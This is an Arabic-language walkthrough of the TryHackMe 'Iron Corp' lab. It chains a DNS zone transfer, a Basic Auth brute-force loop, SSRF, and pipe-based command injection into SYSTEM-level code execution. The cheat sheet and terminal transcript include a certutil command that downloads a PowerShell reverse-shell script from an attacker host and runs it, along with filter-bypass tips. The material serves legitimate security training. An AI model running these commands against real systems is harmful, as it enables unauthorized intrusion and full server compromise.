Lab: Iron Corp | STY IT Labs
STY IT Labs · TryHackMe · Advanced Pentest

Lab: Iron Corp
DNS Zone Transfer → SSRF → Command Injection → SYSTEM

سلسلة هجوم متكاملة من غير أي Privilege Escalation فعلي — Zone Transfer يكشفلك Subdomains مربوطة بـ loopback، وده بيفتحلك SSRF على خدمة داخلية، وبارامتر مش متعقّم فيها بيوديك Command Injection بصلاحيات SYSTEM مباشرة.

Hard Difficulty DNS AXFR SSRF Command Injection Windows Server 2016
DNS SSRF SYSTEM AXFR → RCE IRON CORP
Hard
2 – 5 ساعات
2 Flags
ironcorp.me
TryHackMe
Windows Server 2016

عن اللاب

ironcorp.me
DNS + Apache (11025)
السطح الحقيقي للهجوم
admin.ironcorp.me
HTTP Basic Auth
مكشوف عن طريق Zone Transfer
internal.ironcorp.me
IP-Restricted (403)
متاح فقط عبر SSRF من الداخل

Iron Corp سلسلة اختراق نظيفة من غير أي Privilege Escalation تقليدي — لأن أول Code Execution بتحصل عليه أصلاً بصلاحيات SYSTEM مباشرة. بورت 8080 (Dashtreme Dashboard) Dead End — القصة كلها على بورت 11025 اللي بيستضيف 3 تطبيقات مختلفة عن طريق Host header routing.

DNS Zone Transfer (AXFR) بدون تقييد كشف Subdomains مربوطة بـ 127.0.0.1 — دي الخدمات الداخلية اللي هتستخدمها لاحقاً كـ SSRF target.

Iron Corp Badge

من Zone Transfer لحد SYSTEM shell بدون أي PrivEsc إضافي

مسار الهجوم — من DNS لحد SYSTEM

1

فحص البورتات

Nmap يكشف DNS (53)، IIS Dashboard على 8080 (دكوريشن، Dead End)، وApache 2.4.41 + PHP 7.4.4 على بورت 11025 — ده السطح الحقيقي.

nmap -sC -sV -p-Port 11025 (Apache)
2

DNS Zone Transfer (AXFR)

dig axfr يكشف كل الـ DNS records من غير تقييد — admin.ironcorp.me وinternal.ironcorp.me الاتنين متوجهين على 127.0.0.1.

dig axfr ironcorp.meLoopback subdomains leaked
3

Virtual Host Discovery

Apache على 11025 بيوزّع 3 تطبيقات بـ Host header: الافتراضي “Coming Soon”، admin.ironcorp.me (401 Basic Auth)، internal.ironcorp.me (403 IP-restricted).

Host header routing401 / 403 responses
4

كسر HTTP Basic Auth

Hydra العادي فشل بسبب مشكلة في تمرير custom headers، فالحل كان loop بـ curl بيمرر Host header مباشرة مع wordlist شائع.

curl loop + Host header10k-most-common.txt
5

اكتشاف SSRF في لوحة Admin

لوحة admin فيها رابط داخلي مسرّب (internal.ironcorp.me/name.php?name=) وبارامتر r مموّه بنجمة — تجربته بيرجع محتوى من الخدمة الداخلية.

r= parameter (SSRF)internal.ironcorp.me/name.php
6

Command Injection عبر SSRF

حرف الـ Pipe (|) جوه بارامتر name بيتنفذ كأمر نظام — الرد بيرجع nt authority\system، يعني Code Execution بصلاحيات SYSTEM من أول ضربة.

name=test|whoamiRCE → SYSTEM direct
7

Reverse Shell + Flags 🏆

الـ PowerShell cradles العادية بتتكسر بسبب رموز خاصة في طبقة الـ SSRF relay، فالحل تهريب على مرحلتين بـ certutil لتنزيل وتشغيل سكريبت PowerShell.

certutil -urlcache -split -fPowerShell reverse shell 🏆

مراحل اللاب

Port Scan
DNS AXFR
VHost Discovery
Basic Auth Crack
SSRF
RCE → SYSTEM 🏆

Commands Cheat Sheet

الأمرالوصفالمرحلة
dig axfr ironcorp.me @<TARGET_IP>طلب Zone Transfer كامل من DNS السيرفرDNS
gobuster vhost -u http://ironcorp.me:11025تعداد Virtual Hosts إضافيةEnum
while read p; do curl -u admin:$p -H “Host: admin.ironcorp.me” …; doneكسر Basic Auth بـ loop بديل عن HydraBrute
curl –get –data-urlencode “r=http://internal.ironcorp.me:11025/name.php?name=test”تأكيد وجود SSRF في بارامتر rSSRF
name=test|whoamiحقن أمر نظام عبر السلسلة الداخليةRCE
certutil -urlcache -split -f http://IP:8000/shell.ps1 C:\Windows\Temp\s.ps1تنزيل الـ payload متجاوز رموز خاصة بتكسر الـ relayShell
powershell C:\Windows\Temp\s.ps1تشغيل الـ reverse shellShell

المهام والأسئلة

Task 1 — فحص البورتات والخدمات

اكتشاف Apache الحقيقي على بورت 11025

Recon

Task 2 — DNS Zone Transfer

كشف admin.ironcorp.me وinternal.ironcorp.me

DNS
03

Task 3 — كسر Basic Auth

الحصول على بيانات دخول لوحة admin

Auth
04

Task 4 — اكتشاف واستغلال SSRF

بارامتر r وتأكيد الوصول للخدمة الداخلية

SSRF
05

Task 5 — Command Injection → SYSTEM 🏆

حقن الأمر عبر بارامتر name وتأكيد صلاحيات SYSTEM

RCE 🏆
06

Task 6 — Reverse Shell + Flags

تهريب PowerShell بـ certutil وجمع الفلاجين

Shell
▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — من Zone Transfer لحد SYSTEM

root@kali — Iron Corp (ironcorp.me)
# Phase 1 — DNS Zone Transfer
└─# dig axfr ironcorp.me @10.10.X.X
admin.ironcorp.me. IN A 127.0.0.1
internal.ironcorp.me. IN A 127.0.0.1

# Phase 2 — Basic Auth Crack
└─# while read p; do curl -s -u admin:”$p” -H “Host: admin.ironcorp.me” http://10.10.X.X:11025/ | grep -qv 401 && echo “$p”; done < 10k.txt
[+] Found: admin:password_found

# Phase 3 — SSRF Discovery
└─# curl -u admin:password_found -H “Host: admin.ironcorp.me” –get –data-urlencode “r=http://internal.ironcorp.me:11025/name.php?name=test” http://10.10.X.X:11025/
My name is: Equinoxtest

# Phase 4 — Command Injection
└─# curl -u admin:password_found -H “Host: admin.ironcorp.me” –get –data-urlencode “r=http://internal.ironcorp.me:11025/name.php?name=test|whoami” http://10.10.X.X:11025/
nt authority\system

# Phase 5 — Reverse Shell
└─# curl … –data-urlencode “r=…name=test|certutil -urlcache -split -f http://ATTACKER:8000/s.ps1 C:\Windows\Temp\s.ps1”
└─# curl … –data-urlencode “r=…name=test|powershell C:\Windows\Temp\s.ps1”
[+] SYSTEM shell received on nc -lvnp 4444 🏆

└─#

المهارات المكتسبة

DNS Zone Transfer (AXFR)
Virtual Host Enumeration
HTTP Basic Auth Bypass
Server-Side Request Forgery
Command Injection
Windows Payload Staging
PowerShell Reverse Shells
Filter Bypass Techniques

الأدوات المستخدمة

digتنفيذ DNS Zone Transfer (AXFR)
gobusterتعداد Directories وDNS subdomains
curlالتحكم الكامل في Headers وSSRF وCommand Injection
certutilتنزيل الـ payload بدون رموز خاصة تكسر الـ relay
netcatاستقبال الـ reverse shell النهائي
لو الـ PowerShell cradle العادي (IEX + DownloadString) بيفشل جوه الـ SSRF، السبب غالباً رموز خاصة بتتكسر في طبقة الـ URL encoding — استخدم certutil كخطوة تنزيل أولى بسيطة.